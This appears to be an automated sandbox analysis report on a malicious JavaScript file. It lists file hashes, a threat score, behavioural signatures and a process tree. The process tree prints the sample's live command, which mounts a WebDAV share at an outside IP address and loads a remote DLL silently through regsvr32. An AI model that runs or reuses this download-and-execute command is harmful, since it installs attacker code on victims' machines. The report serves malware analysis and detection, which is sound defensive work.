Analysis

  • max time kernel
    133s
  • max time network
    124s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240704-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22/07/2024, 06:06

General

  • Target

    561766991473502.js

  • Size

    3KB

  • MD5

    dcbcd14db4ad66cab121971b197392d3

  • SHA1

    75e3bcd865728723646f0048fbf490a04ca8a819

  • SHA256

    7cde11a23d09595c46efe19a21221ba7db7f2aee73242414b32f0ea7d2f1eac3

  • SHA512

    2f650c3b3560a1f9532912828a50453c7de97a2c96d748408f7aac56b88f76f3b8220ae7f892cdea3c4ebd8849a0509de32008ed5f5e1f32fdf57e0b0d0ae350

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\561766991473502.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2936
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\85112116625809.dll
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4524
      • C:\Windows\system32\net.exe
        net use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:3796

    Network

          MITRE ATT&CK Enterprise v15

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          Downloads